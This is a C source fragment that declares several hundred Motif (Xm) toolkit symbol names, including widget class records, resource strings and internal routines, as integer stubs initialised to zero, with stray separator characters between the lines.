int _XmRCArmAndActivate = 0;
|
||||
int _XmRC_CheckAndSetOptionCascade = 0;
|
||||
int _XmRCColorHook = 0;
|
||||
int _XmRCDoMarginAdjustment = 0;
|
||||
int _XmRC_DoProcessMenuTree = 0;
|
||||
int _XmRC_GadgetTraverseDown = 0;
|
||||
int _XmRC_GadgetTraverseLeft = 0;
|
||||
int _XmRC_GadgetTraverseRight = 0;
|
||||
int _XmRC_GadgetTraverseUp = 0;
|
||||
int _XmRCGetKidGeo = 0;
|
||||
int _XmRC_GetLabelString = 0;
|
||||
int _XmRC_GetMenuAccelerator = 0;
|
||||
int _XmRC_GetMnemonicCharSet = 0;
|
||||
int _XmRCGetTopManager = 0;
|
||||
int _XmRC_KeyboardInputHandler = 0;
|
||||
int _XmRCMenuProcedureEntry = 0;
|
||||
int _XmRC_menuSystemRecord = 0;
|
||||
int _XmRC_PostTimeOut = 0;
|
||||
int _XmRCPreferredSize = 0;
|
||||
int _XmRC_ProcessSingleWidget = 0;
|
||||
int _XmRC_RemoveFromPostFromList = 0;
|
||||
int _XmRC_RemoveFromPostFromListOnDestroyCB = 0;
|
||||
int _XmRC_RemoveHandlersFromPostFromWidget = 0;
|
||||
int _XmRC_RemovePopupEventHandlers = 0;
|
||||
int _XmRCSetKidGeo = 0;
|
||||
int _XmRC_SetMenuHistory = 0;
|
||||
int _XmRC_SetOptionMenuHistory = 0;
|
||||
int _XmRC_SetOrGetTextMargins = 0;
|
||||
int _XmRCThinkAboutSize = 0;
|
||||
int _XmRC_UpdateOptionMenuCBG = 0;
|
||||
int _XmReadDragBuffer = 0;
|
||||
int _XmReadDSFromStream = 0;
|
||||
int _XmReadImageAndHotSpotFromFile = 0;
|
||||
int _XmReadInitiatorInfo = 0;
|
||||
int _XmReasonToMessageType = 0;
|
||||
int _XmReCacheLabG = 0;
|
||||
int _XmReCacheLabG_r = 0;
|
||||
int _XmRecordEvent = 0;
|
||||
int _XmRedisplayGadgets = 0;
|
||||
int _XmRedisplayHBar = 0;
|
||||
int _XmRedisplayLabG = 0;
|
||||
int _XmRedisplayVBar = 0;
|
||||
int _XmRegionClear = 0;
|
||||
int _XmRegionComputeExtents = 0;
|
||||
int _XmRegionCreate = 0;
|
||||
int _XmRegionCreateSize = 0;
|
||||
int _XmRegionDestroy = 0;
|
||||
int _XmRegionDrawShadow = 0;
|
||||
int _XmRegionEqual = 0;
|
||||
int _XmRegionFromImage = 0;
|
||||
int _XmRegionGetExtents = 0;
|
||||
int _XmRegionGetNumRectangles = 0;
|
||||
int _XmRegionGetRectangles = 0;
|
||||
int _XmRegionIntersect = 0;
|
||||
int _XmRegionIntersectRectWithRegion = 0;
|
||||
int _XmRegionIsEmpty = 0;
|
||||
int _XmRegionOffset = 0;
|
||||
int _XmRegionPointInRegion = 0;
|
||||
int _XmRegionSetGCRegion = 0;
|
||||
int _XmRegionShrink = 0;
|
||||
int _XmRegionSubtract = 0;
|
||||
int _XmRegionUnion = 0;
|
||||
int _XmRegionUnionRectWithRegion = 0;
|
||||
int _XmRegisterConverters = 0;
|
||||
int XmRegisterConverters = 0;
|
||||
int _XmRegisterPixmapConverters = 0;
|
||||
int XmRegisterSegmentEncoding = 0;
|
||||
int _XmRemoveAllCallbacks = 0;
|
||||
int _XmRemoveCallback = 0;
|
||||
int XmRemoveFromPostFromList = 0;
|
||||
int _XmRemoveGrab = 0;
|
||||
int _XmRemoveHashEntry = 0;
|
||||
int _XmRemoveHashIterator = 0;
|
||||
int XmRemoveProtocolCallback = 0;
|
||||
int XmRemoveProtocols = 0;
|
||||
int XmRemoveTabGroup = 0;
|
||||
int _Xm_RemQueue = 0;
|
||||
int _XmRenderCacheGet = 0;
|
||||
int _XmRenderCacheSet = 0;
|
||||
int XmRenderTableAddRenditions = 0;
|
||||
int XmRenderTableCopy = 0;
|
||||
int XmRenderTableCvtFromProp = 0;
|
||||
int XmRenderTableCvtToProp = 0;
|
||||
int _XmRenderTableDisplay = 0;
|
||||
int _XmRenderTableFindFallback = 0;
|
||||
int _XmRenderTableFindFirstFont = 0;
|
||||
int _XmRenderTableFindRendition = 0;
|
||||
int XmRenderTableFree = 0;
|
||||
int XmRenderTableGetDefaultFontExtents = 0;
|
||||
int XmRenderTableGetRendition = 0;
|
||||
int XmRenderTableGetRenditions = 0;
|
||||
int XmRenderTableGetTags = 0;
|
||||
int _XmRenderTableRemoveRenditions = 0;
|
||||
int XmRenderTableRemoveRenditions = 0;
|
||||
int _XmRenditionCopy = 0;
|
||||
int _XmRenditionCreate = 0;
|
||||
int XmRenditionCreate = 0;
|
||||
int XmRenditionFree = 0;
|
||||
int _XmRenditionMerge = 0;
|
||||
int XmRenditionRetrieve = 0;
|
||||
int XmRenditionUpdate = 0;
|
||||
int _XmReOrderResourceList = 0;
|
||||
int XmRepTypeAddReverse = 0;
|
||||
int XmRepTypeGetId = 0;
|
||||
int XmRepTypeGetNameList = 0;
|
||||
int XmRepTypeGetRecord = 0;
|
||||
int XmRepTypeGetRegistered = 0;
|
||||
int _XmRepTypeInstallConverters = 0;
|
||||
int XmRepTypeInstallTearOffModelConverter = 0;
|
||||
int XmRepTypeRegister = 0;
|
||||
int XmRepTypeValidValue = 0;
|
||||
int _XmRequestNewSize = 0;
|
||||
int _XmResetTravGraph = 0;
|
||||
int _XmResizeHashTable = 0;
|
||||
int _XmResizeObject = 0;
|
||||
int _XmResizeWidget = 0;
|
||||
int XmResolveAllPartOffsets = 0;
|
||||
int XmResolveAllPartOffsets64 = 0;
|
||||
int XmResolvePartOffsets = 0;
|
||||
int _XmRestoreCoreClassTranslations = 0;
|
||||
int _XmRestoreExcludedTearOffToToplevelShell = 0;
|
||||
int _XmRestoreTearOffToMenuShell = 0;
|
||||
int _XmRestoreTearOffToToplevelShell = 0;
|
||||
int _XmRootGeometryManager = 0;
|
||||
int _XmRowColumn_bar_table = 0;
|
||||
int xmRowColumnClassRec = 0;
|
||||
int _XmRowColumn_menu_table = 0;
|
||||
int _XmRowColumn_menu_traversal_table = 0;
|
||||
int _XmRowColumn_option_table = 0;
|
||||
int xmRowColumnWidgetClass = 0;
|
||||
int _XmSaccelerator = 0;
|
||||
int _XmSacceleratorText = 0;
|
||||
int _XmSactivateCallback = 0;
|
||||
int _XmSadjustLast = 0;
|
||||
int _XmSadjustMargin = 0;
|
||||
int _XmSalignment = 0;
|
||||
int _XmSallowOverlap = 0;
|
||||
int _XmSallowResize = 0;
|
||||
int _XmSanimationMask = 0;
|
||||
int _XmSanimationPixmap = 0;
|
||||
int _XmSanimationPixmapDepth = 0;
|
||||
int _XmSanimationStyle = 0;
|
||||
int _XmSapplyCallback = 0;
|
||||
int _XmSapplyLabelString = 0;
|
||||
int _XmSarmCallback = 0;
|
||||
int _XmSarmColor = 0;
|
||||
int _XmSarmPixmap = 0;
|
||||
int _XmSarrowDirection = 0;
|
||||
int xmSashClassRec = 0;
|
||||
int _XmSash_defTranslations = 0;
|
||||
int xmSashWidgetClass = 0;
|
||||
int _XmSattachment = 0;
|
||||
int _XmSaudibleWarning = 0;
|
||||
int _XmSautomaticSelection = 0;
|
||||
int _XmSautoShowCursorPosition = 0;
|
||||
int _XmSautoUnmanage = 0;
|
||||
int _XmSavailability = 0;
|
||||
int _XmSaveCoreClassTranslations = 0;
|
||||
int _XmSaveMenuProcContext = 0;
|
||||
int _XmSblendModel = 0;
|
||||
int _XmSblinkRate = 0;
|
||||
int _XmSbottomAttachment = 0;
|
||||
int _XmSbottomOffset = 0;
|
||||
int _XmSbottomPosition = 0;
|
||||
int _XmSbottomShadowColor = 0;
|
||||
int _XmSbottomShadowPixmap = 0;
|
||||
int _XmSbottomWidget = 0;
|
||||
int _XmSbrowseSelectionCallback = 0;
|
||||
int _XmSbuttonAccelerators = 0;
|
||||
int _XmSbuttonAcceleratorText = 0;
|
||||
int _XmSbuttonCount = 0;
|
||||
int _XmSbuttonFontList = 0;
|
||||
int _XmSbuttonMnemonicCharSets = 0;
|
||||
int _XmSbuttonMnemonics = 0;
|
||||
int _XmSbuttons = 0;
|
||||
int _XmSbuttonSet = 0;
|
||||
int _XmSbuttonType = 0;
|
||||
int _XmSCAccelerator = 0;
|
||||
int _XmSCAcceleratorText = 0;
|
||||
int _XmSCAdjustLast = 0;
|
||||
int _XmSCAdjustMargin = 0;
|
||||
int xmScaleClassRec = 0;
|
||||
int _XmScaleGetTitleString = 0;
|
||||
int XmScaleGetValue = 0;
|
||||
int XmScaleSetTicks = 0;
|
||||
int XmScaleSetValue = 0;
|
||||
int xmScaleWidgetClass = 0;
|
||||
int _XmSCAlignment = 0;
|
||||
int _XmSCAllowOverlap = 0;
|
||||
int _XmScancelButton = 0;
|
||||
int _XmScancelCallback = 0;
|
||||
int _XmScancelLabelString = 0;
|
||||
int _XmSCAnimationMask = 0;
|
||||
int _XmSCAnimationPixmap = 0;
|
||||
int _XmSCAnimationPixmapDepth = 0;
|
||||
int _XmSCAnimationStyle = 0;
|
||||
int _XmScanningCacheGet = 0;
|
||||
int _XmScanningCacheSet = 0;
|
||||
int _XmSCApplyLabelString = 0;
|
||||
int _XmSCArmCallback = 0;
|
||||
int _XmSCArmColor = 0;
|
||||
int _XmSCArmPixmap = 0;
|
||||
int _XmSCArrowDirection = 0;
|
||||
int _XmScascadeButton = 0;
|
||||
int _XmScascadePixmap = 0;
|
||||
int _XmScascadingCallback = 0;
|
||||
int _XmSCAtomList = 0;
|
||||
int _XmSCAttachment = 0;
|
||||
int _XmSCAudibleWarning = 0;
|
||||
int _XmSCAutomaticSelection = 0;
|
||||
int _XmSCAutoShowCursorPosition = 0;
|
||||
int _XmSCAutoUnmanage = 0;
|
||||
int _XmSCAvailability = 0;
|
||||
int _XmSCBackgroundPixmap = 0;
|
||||
int _XmSCBlendModel = 0;
|
||||
int _XmSCBlinkRate = 0;
|
||||
int _XmSCBooleanDimension = 0;
|
||||
int _XmSCBottomShadowColor = 0;
|
||||
int _XmSCBottomShadowPixmap = 0;
|
||||
int _XmSCButtonAccelerators = 0;
|
||||
int _XmSCButtonAcceleratorText = 0;
|
||||
int _XmSCButtonCount = 0;
|
||||
int _XmSCButtonFontList = 0;
|
||||
int _XmSCButtonMnemonicCharSets = 0;
|
||||
int _XmSCButtonMnemonics = 0;
|
||||
int _XmSCButtons = 0;
|
||||
int _XmSCButtonSet = 0;
|
||||
int _XmSCButtonType = 0;
|
||||
int _XmSCCallbackProc = 0;
|
||||
int _XmSCCancelLabelString = 0;
|
||||
int _XmSCChar = 0;
|
||||
int _XmSCCharSetTable = 0;
|
||||
int _XmSCChildHorizontalAlignment = 0;
|
||||
int _XmSCChildHorizontalSpacing = 0;
|
||||
int _XmSCChildPlacement = 0;
|
||||
int _XmSCChildren = 0;
|
||||
int _XmSCChildType = 0;
|
||||
int _XmSCChildVerticalAlignment = 0;
|
||||
int _XmSCClientData = 0;
|
||||
int _XmSCClipWindow = 0;
|
||||
int _XmSCColumns = 0;
|
||||
int _XmSCCommandWindow = 0;
|
||||
int _XmSCCommandWindowLocation = 0;
|
||||
int _XmSCCompoundText = 0;
|
||||
int _XmSCConvertProc = 0;
|
||||
int _XmSCCursorBackground = 0;
|
||||
int _XmSCCursorForeground = 0;
|
||||
int _XmSCCursorPosition = 0;
|
||||
int _XmSCCursorPositionVisible = 0;
|
||||
int _XmSCDarkThreshold = 0;
|
||||
int _XmSCDecimalPoints = 0;
|
||||
int _XmSCDefaultButtonShadowThickness = 0;
|
||||
int _XmSCDefaultButtonType = 0;
|
||||
int _XmSCDefaultCopyCursorIcon = 0;
|
||||
int _XmSCDefaultFontList = 0;
|
||||
int _XmSCDefaultInvalidCursorIcon = 0;
|
||||
int _XmSCDefaultLinkCursorIcon = 0;
|
||||
int _XmSCDefaultMoveCursorIcon = 0;
|
||||
int _XmSCDefaultNoneCursorIcon = 0;
|
||||
int _XmSCDefaultPosition = 0;
|
||||
int _XmSCDefaultSourceCursorIcon = 0;
|
||||
int _XmSCDefaultValidCursorIcon = 0;
|
||||
int _XmSCDeleteResponse = 0;
|
||||
int _XmSCDesktopParent = 0;
|
||||
int _XmSCDialogStyle = 0;
|
||||
int _XmSCDialogTitle = 0;
|
||||
int _XmSCDialogType = 0;
|
||||
int _XmSCDirectory = 0;
|
||||
int _XmSCDirectoryValid = 0;
|
||||
int _XmSCDirListItemCount = 0;
|
||||
int _XmSCDirListItems = 0;
|
||||
int _XmSCDirListLabelString = 0;
|
||||
int _XmSCDirMask = 0;
|
||||
int _XmSCDirSearchProc = 0;
|
||||
int _XmSCDirSpec = 0;
|
||||
int _XmSCDisarmCallback = 0;
|
||||
int _XmSCDoubleClickInterval = 0;
|
||||
int _XmSCDragContextClass = 0;
|
||||
int _XmSCDragDropFinishCallback = 0;
|
||||
int _XmSCDragIconClass = 0;
|
||||
int _XmSCDragInitiatorProtocolStyle = 0;
|
||||
int _XmSCDragMotionCallback = 0;
|
||||
int _XmSCDragOperations = 0;
|
||||
int _XmSCDragOverMode = 0;
|
||||
int _XmSCDragProc = 0;
|
||||
int _XmSCDragReceiverProtocolStyle = 0;
|
||||
int _XmSCDropProc = 0;
|
||||
int _XmSCDropRectangles = 0;
|
||||
int _XmSCDropSiteActivity = 0;
|
||||
int _XmSCDropSiteEnterCallback = 0;
|
||||
int _XmSCDropSiteLeaveCallback = 0;
|
||||
int _XmSCDropSiteManagerClass = 0;
|
||||
int _XmSCDropSiteOperations = 0;
|
||||
int _XmSCDropSiteType = 0;
|
||||
int _XmSCDropStartCallback = 0;
|
||||
int _XmSCDropTransferClass = 0;
|
||||
int _XmSCDropTransfers = 0;
|
||||
int _XmSCEditable = 0;
|
||||
int _XmSCEntryBorder = 0;
|
||||
int _XmSCEntryClass = 0;
|
||||
int _XmSCExportTargets = 0;
|
||||
int _XmSCExposeCallback = 0;
|
||||
int _XmSCExtensionType = 0;
|
||||
int _XmSCFileListItemCount = 0;
|
||||
int _XmSCFileListItems = 0;
|
||||
int _XmSCFileListLabelString = 0;
|
||||
int _XmSCFileSearchProc = 0;
|
||||
int _XmSCFileTypeMask = 0;
|
||||
int _XmSCFillOnArm = 0;
|
||||
int _XmSCFillOnSelect = 0;
|
||||
int _XmSCFilterLabelString = 0;
|
||||
int _XmSCFontList = 0;
|
||||
int _XmSCFONTLIST_DEFAULT_TAG_STRING = 0;
|
||||
int _XmSCForegroundThreshold = 0;
|
||||
int _XmSCGadgetPixmap = 0;
|
||||
int _XmScheckButton = 0;
|
||||
int _XmSCHelpLabelString = 0;
|
||||
int _XmSCHighlightColor = 0;
|
||||
int _XmSCHighlightOnEnter = 0;
|
||||
int _XmSCHighlightPixmap = 0;
|
||||
int _XmSCHighlightThickness = 0;
|
||||
int _XmSchildHorizontalAlignment = 0;
|
||||
int _XmSchildHorizontalSpacing = 0;
|
||||
int _XmSchildPlacement = 0;
|
||||
int _XmSchildPosition = 0;
|
||||
int _XmSchildType = 0;
|
||||
int _XmSchildVerticalAlignment = 0;
|
||||
int _XmSCHorizontalDimension = 0;
|
||||
int _XmSCHorizontalFontUnit = 0;
|
||||
int _XmSCHorizontalInt = 0;
|
||||
int _XmSCHorizontalPosition = 0;
|
||||
int _XmSCHorizontalScrollBar = 0;
|
||||
int _XmSCHot = 0;
|
||||
int _XmSCICCHandle = 0;
|
||||
int _XmSCIconAttachment = 0;
|
||||
int _XmSCImportTargets = 0;
|
||||
int _XmSCIncrement = 0;
|
||||
int _XmSCIncremental = 0;
|
||||
int _XmSCIndicatorOn = 0;
|
||||
int _XmSCIndicatorSize = 0;
|
||||
int _XmSCIndicatorType = 0;
|
||||
int _XmSCInitialDelay = 0;
|
||||
int _XmSCInitialFocus = 0;
|
||||
int _XmSCInputCreate = 0;
|
||||
int _XmSCInputMethod = 0;
|
||||
int _XmSCInvalidCursorForeground = 0;
|
||||
int _XmSCIsAligned = 0;
|
||||
int _XmSCIsHomogeneous = 0;
|
||||
int _XmSCISO8859_DASH_1 = 0;
|
||||
int _XmSCItemCount = 0;
|
||||
int _XmSCItems = 0;
|
||||
int _XmSCKeyboardFocusPolicy = 0;
|
||||
int _XmSCKeySym = 0;
|
||||
int _XmSCKeySymTable = 0;
|
||||
int _XmSCLabelFontList = 0;
|
||||
int _XmSCLabelInsensitivePixmap = 0;
|
||||
int _XmSCLabelPixmap = 0;
|
||||
int _XmSCLabelString = 0;
|
||||
int _XmSCLabelType = 0;
|
||||
int _XmSclientData = 0;
|
||||
int _XmSCLightThreshold = 0;
|
||||
int _XmSclipWindow = 0;
|
||||
int _XmSCListLabelString = 0;
|
||||
int _XmSCListMarginHeight = 0;
|
||||
int _XmSCListMarginWidth = 0;
|
||||
int _XmSCListSizePolicy = 0;
|
||||
int _XmSCListSpacing = 0;
|
||||
int _XmSCListUpdated = 0;
|
||||
int _XmSCLogicalParent = 0;
|
||||
int _XmSCMainWindowMarginHeight = 0;
|
||||
int _XmSCMainWindowMarginWidth = 0;
|
||||
int _XmSCManBottomShadowPixmap = 0;
|
||||
int _XmSCManForegroundPixmap = 0;
|
||||
int _XmSCManHighlightPixmap = 0;
|
||||
int _XmSCManTopShadowPixmap = 0;
|
||||
int _XmSCMappingDelay = 0;
|
||||
int _XmSCMarginBottom = 0;
|
||||
int _XmSCMarginHeight = 0;
|
||||
int _XmSCMarginLeft = 0;
|
||||
int _XmSCMarginRight = 0;
|
||||
int _XmSCMarginTop = 0;
|
||||
int _XmSCMarginWidth = 0;
|
||||
int _XmSCMask = 0;
|
||||
int _XmSCMaximum = 0;
|
||||
int _XmSCMaxItems = 0;
|
||||
int _XmSCMaxLength = 0;
|
||||
int _XmSCMaxValue = 0;
|
||||
int _XmSCMenuBar = 0;
|
||||
int _XmSCMenuPost = 0;
|
||||
int _XmSCMenuWidget = 0;
|
||||
int _XmSCMessageProc = 0;
|
||||
int _XmSCMessageWindow = 0;
|
||||
int _XmSCMinimizeButtons = 0;
|
||||
int _XmSCMinimum = 0;
|
||||
int _XmSCMnemonic = 0;
|
||||
int _XmSCMnemonicCharSet = 0;
|
||||
int _XmSCMoveOpaque = 0;
|
||||
int _XmSCMultiClick = 0;
|
||||
int _XmSCMustMatch = 0;
|
||||
int _XmSCMwmDecorations = 0;
|
||||
int _XmSCMwmFunctions = 0;
|
||||
int _XmSCMwmInputMode = 0;
|
||||
int _XmSCMwmMenu = 0;
|
||||
int _XmSCMwmMessages = 0;
|
||||
int _XmSCNavigationType = 0;
|
||||
int _XmSCNeedsMotion = 0;
|
||||
int _XmSCNoMatchString = 0;
|
||||
int _XmSCNoneCursorForeground = 0;
|
||||
int _XmSCNoResize = 0;
|
||||
int _XmSCNotifyProc = 0;
|
||||
int _XmSCNumChildren = 0;
|
||||
int _XmSCNumColumns = 0;
|
||||
int _XmSCNumDropRectangles = 0;
|
||||
int _XmSCNumDropTransfers = 0;
|
||||
int _XmSCNumExportTargets = 0;
|
||||
int _XmSCNumImportTargets = 0;
|
||||
int _XmSCOffset = 0;
|
||||
int _XmSCOkLabelString = 0;
|
||||
int _XmScolumns = 0;
|
||||
int _XmScommand = 0;
|
||||
int _XmScommandChangedCallback = 0;
|
||||
int _XmScommandEnteredCallback = 0;
|
||||
int _XmScommandWindow = 0;
|
||||
int _XmScommandWindowLocation = 0;
|
||||
int _XmSconvertProc = 0;
|
||||
int _XmSCOperationChangedCallback = 0;
|
||||
int _XmSCOperationCursorIcon = 0;
|
||||
int _XmSCOptionLabel = 0;
|
||||
int _XmSCOptionMnemonic = 0;
|
||||
int _XmSCOutputCreate = 0;
|
||||
int _XmSCPacking = 0;
|
||||
int _XmSCPageIncrement = 0;
|
||||
int _XmSCPaneMaximum = 0;
|
||||
int _XmSCPaneMinimum = 0;
|
||||
int _XmSCPattern = 0;
|
||||
int _XmSCPendingDelete = 0;
|
||||
int _XmSCPopupEnabled = 0;
|
||||
int _XmSCPositionIndex = 0;
|
||||
int _XmSCPostFromButton = 0;
|
||||
int _XmSCPostFromCount = 0;
|
||||
int _XmSCPostFromList = 0;
|
||||
int _XmSCPreeditType = 0;
|
||||
int _XmSCPrimForegroundPixmap = 0;
|
||||
int _XmSCProc = 0;
|
||||
int _XmSCProcessingDirection = 0;
|
||||
int _XmSCPromptString = 0;
|
||||
int _XmSCProtocolCallback = 0;
|
||||
int _XmSCPushButtonEnabled = 0;
|
||||
int _XmSCQualifySearchDataProc = 0;
|
||||
int _XmSCRadioAlwaysOne = 0;
|
||||
int _XmSCRadioBehavior = 0;
|
||||
int _XmSCRecomputeSize = 0;
|
||||
int _XmSCRectangleList = 0;
|
||||
int _XmSCRectangles = 0;
|
||||
int xmScreenClass = 0;
|
||||
int xmScreenClassRec = 0;
|
||||
int _XmScreenGetOperationIcon = 0;
|
||||
int _XmScreenGetSourceIcon = 0;
|
||||
int _XmScreenGetStateIcon = 0;
|
||||
int xmScreenObjectClass = 0;
|
||||
int _XmScreenRemoveFromCursorCache = 0;
|
||||
int _XmSCRepeatDelay = 0;
|
||||
int _XmSCResizeCallback = 0;
|
||||
int _XmSCResizeHeight = 0;
|
||||
int _XmSCResizePolicy = 0;
|
||||
int _XmSCResizeWidth = 0;
|
||||
int xmScrollBarClassRec = 0;
|
||||
int _XmScrollBar_defaultTranslations = 0;
|
||||
int XmScrollBarGetValues = 0;
|
||||
int XmScrollBarSetValues = 0;
|
||||
int xmScrollBarWidgetClass = 0;
|
||||
int xmScrolledWindowClassRec = 0;
|
||||
int XmScrolledWindowSetAreas = 0;
|
||||
int xmScrolledWindowWidgetClass = 0;
|
||||
int _XmScrolledW_ScrolledWindowXlations = 0;
|
||||
int XmScrollVisible = 0;
|
||||
int _XmSCRowColumnType = 0;
|
||||
int _XmSCRows = 0;
|
||||
int _XmSCRubberPositioning = 0;
|
||||
int _XmSCSashHeight = 0;
|
||||
int _XmSCSashIndent = 0;
|
||||
int _XmSCSashWidth = 0;
|
||||
int _XmSCScaleHeight = 0;
|
||||
int _XmSCScaleMultiple = 0;
|
||||
int _XmSCScaleWidth = 0;
|
||||
int _XmSCScroll = 0;
|
||||
int _XmSCScrollBarDisplayPolicy = 0;
|
||||
int _XmSCScrollBarPlacement = 0;
|
||||
int _XmSCScrolledWindowMarginHeight = 0;
|
||||
int _XmSCScrolledWindowMarginWidth = 0;
|
||||
int _XmSCScrollingPolicy = 0;
|
||||
int _XmSCScrollSide = 0;
|
||||
int _XmSCSelectColor = 0;
|
||||
int _XmSCSelectedItemCount = 0;
|
||||
int _XmSCSelectedItems = 0;
|
||||
int _XmSCSelectInsensitivePixmap = 0;
|
||||
int _XmSCSelectionArrayCount = 0;
|
||||
int _XmSCSelectionLabelString = 0;
|
||||
int _XmSCSelectionPolicy = 0;
|
||||
int _XmSCSelectionType = 0;
|
||||
int _XmSCSelectPixmap = 0;
|
||||
int _XmSCSelectThreshold = 0;
|
||||
int _XmSCSeparatorOn = 0;
|
||||
int _XmSCSeparatorType = 0;
|
||||
int _XmSCSet = 0;
|
||||
int _XmSCShadowThickness = 0;
|
||||
int _XmSCShadowType = 0;
|
||||
int _XmSCShellHorizDim = 0;
|
||||
int _XmSCShellHorizPos = 0;
|
||||
int _XmSCShellUnitType = 0;
|
||||
int _XmSCShellVertDim = 0;
|
||||
int _XmSCShellVertPos = 0;
|
||||
int _XmSCShowArrows = 0;
|
||||
int _XmSCShowAsDefault = 0;
|
||||
int _XmSCShowSeparator = 0;
|
||||
int _XmSCShowValue = 0;
|
||||
int _XmSCSimpleCheckBox = 0;
|
||||
int _XmSCSimpleMenuBar = 0;
|
||||
int _XmSCSimpleOptionMenu = 0;
|
||||
int _XmSCSimplePopupMenu = 0;
|
||||
int _XmSCSimplePulldownMenu = 0;
|
||||
int _XmSCSimpleRadioBox = 0;
|
||||
int _XmSCSizePolicy = 0;
|
||||
int _XmSCSliderSize = 0;
|
||||
int _XmSCSource = 0;
|
||||
int _XmSCSourceCursorIcon = 0;
|
||||
int _XmSCSourceIsExternal = 0;
|
||||
int _XmSCSourcePixmapIcon = 0;
|
||||
int _XmSCSourceWidget = 0;
|
||||
int _XmSCSourceWindow = 0;
|
||||
int _XmSCSpacing = 0;
|
||||
int _XmSCStartTime = 0;
|
||||
int _XmSCStateCursorIcon = 0;
|
||||
int _XmSCStringDirection = 0;
|
||||
int _XmSCTearOffModel = 0;
|
||||
int _XmSCTextFontList = 0;
|
||||
int _XmSCTextString = 0;
|
||||
int _XmSCTextValue = 0;
|
||||
int _XmSCTitleString = 0;
|
||||
int _XmSCTopCharacter = 0;
|
||||
int _XmSCTopItemPosition = 0;
|
||||
int _XmSCTopLevelEnterCallback = 0;
|
||||
int _XmSCTopLevelLeaveCallback = 0;
|
||||
int _XmSCTopShadowColor = 0;
|
||||
int _XmSCTopShadowPixmap = 0;
|
||||
int _XmSCTransferProc = 0;
|
||||
int _XmSCTransferStatus = 0;
|
||||
int _XmSCTraversalOn = 0;
|
||||
int _XmSCTraversalType = 0;
|
||||
int _XmSCTreeUpdateProc = 0;
|
||||
int _XmSCTroughColor = 0;
|
||||
int _XmSCUnitType = 0;
|
||||
int _XmSCUnpostBehavior = 0;
|
||||
int _XmSCUnselectPixmap = 0;
|
||||
int _XmSCUpdateSliderSize = 0;
|
||||
int _XmScursorBackground = 0;
|
||||
int _XmScursorForeground = 0;
|
||||
int _XmScursorPosition = 0;
|
||||
int _XmScursorPositionVisible = 0;
|
||||
int _XmSCUseAsyncGeometry = 0;
|
||||
int _XmSCUserData = 0;
|
||||
int _XmSCValidCursorForeground = 0;
|
||||
int _XmSCValueChangedCallback = 0;
|
||||
int _XmSCValueWcs = 0;
|
||||
int _XmSCVerifyBell = 0;
|
||||
int _XmSCVerticalAlignment = 0;
|
||||
int _XmSCVerticalDimension = 0;
|
||||
int _XmSCVerticalFontUnit = 0;
|
||||
int _XmSCVerticalInt = 0;
|
||||
int _XmSCVerticalPosition = 0;
|
||||
int _XmSCVerticalScrollBar = 0;
|
||||
int _XmSCVirtualBinding = 0;
|
||||
int _XmSCVisibleItemCount = 0;
|
||||
int _XmSCVisibleWhenOff = 0;
|
||||
int _XmSCVisualPolicy = 0;
|
||||
int _XmSCWhichButton = 0;
|
||||
int _XmSCWordWrap = 0;
|
||||
int _XmSCWorkWindow = 0;
|
||||
int _XmSCXmBackgroundPixmap = 0;
|
||||
int _XmSCXmFONTLIST_DEFAULT_TAG_STRING = 0;
|
||||
int _XmSCXmString = 0;
|
||||
int _XmSCXmStringCharSet = 0;
|
||||
int _XmSCXmStringTable = 0;
|
||||
int _XmSdarkThreshold = 0;
|
||||
int _XmSdecimalPoints = 0;
|
||||
int _XmSdecrementCallback = 0;
|
||||
int _XmSdefaultActionCallback = 0;
|
||||
int _XmSDEFAULT_BACKGROUND = 0;
|
||||
int _XmSdefaultButton = 0;
|
||||
int _XmSdefaultButtonShadowThickness = 0;
|
||||
int _XmSdefaultButtonType = 0;
|
||||
int _XmSdefaultCopyCursorIcon = 0;
|
||||
int _XmSDEFAULT_FONT = 0;
|
||||
int _XmSdefaultFontList = 0;
|
||||
int _XmSdefaultInvalidCursorIcon = 0;
|
||||
int _XmSdefaultLinkCursorIcon = 0;
|
||||
int _XmSdefaultMoveCursorIcon = 0;
|
||||
int _XmSdefaultNoneCursorIcon = 0;
|
||||
int _XmSdefaultPosition = 0;
|
||||
int _XmSdefaultSourceCursorIcon = 0;
|
||||
int _XmSdefaultValidCursorIcon = 0;
|
||||
int _XmSdeleteResponse = 0;
|
||||
int _XmSdesktopParent = 0;
|
||||
int _XmSdialogStyle = 0;
|
||||
int _XmSdialogTitle = 0;
|
||||
int _XmSdialogType = 0;
|
||||
int _XmSdirectory = 0;
|
||||
int _XmSdirectoryValid = 0;
|
||||
int _XmSdirListItemCount = 0;
|
||||
int _XmSdirListItems = 0;
|
||||
int _XmSdirListLabelString = 0;
|
||||
int _XmSdirMask = 0;
|
||||
int _XmSdirSearchProc = 0;
|
||||
int _XmSdirSpec = 0;
|
||||
int _XmSdisarmCallback = 0;
|
||||
int _XmSdoubleClickInterval = 0;
|
||||
int _XmSdoubleSeparator = 0;
|
||||
int _XmSdragCallback = 0;
|
||||
int _XmSdragContextClass = 0;
|
||||
int _XmSdragDropFinishCallback = 0;
|
||||
int _XmSdragIconClass = 0;
|
||||
int _XmSdragInitiatorProtocolStyle = 0;
|
||||
int _XmSdragMotionCallback = 0;
|
||||
int _XmSdragOperations = 0;
|
||||
int _XmSdragOverMode = 0;
|
||||
int _XmSdragProc = 0;
|
||||
int _XmSdragReceiverProtocolStyle = 0;
|
||||
int _XmSdropFinishCallback = 0;
|
||||
int _XmSdropProc = 0;
|
||||
int _XmSdropRectangles = 0;
|
||||
int _XmSdropSiteActivity = 0;
|
||||
int _XmSdropSiteEnterCallback = 0;
|
||||
int _XmSdropSiteLeaveCallback = 0;
|
||||
int _XmSdropSiteManagerClass = 0;
|
||||
int _XmSdropSiteOperations = 0;
|
||||
int _XmSdropSiteType = 0;
|
||||
int _XmSdropStartCallback = 0;
|
||||
int _XmSdropTransferClass = 0;
|
||||
int _XmSdropTransfers = 0;
|
||||
int _XmSearchColorCache = 0;
|
||||
int _XmSecondaryResourceData = 0;
|
||||
int _XmSeditable = 0;
|
||||
int _XmSeditMode = 0;
|
||||
int _XmSelectColorDefault = 0;
|
||||
int _XmSelectioB_defaultTextAccelerators = 0;
|
||||
int xmSelectionBoxClassRec = 0;
|
||||
int _XmSelectionBoxCreateApplyButton = 0;
|
||||
int _XmSelectionBoxCreateCancelButton = 0;
|
||||
int _XmSelectionBoxCreateHelpButton = 0;
|
||||
int _XmSelectionBoxCreateList = 0;
|
||||
int _XmSelectionBoxCreateListLabel = 0;
|
||||
int _XmSelectionBoxCreateOkButton = 0;
|
||||
int _XmSelectionBoxCreateSelectionLabel = 0;
|
||||
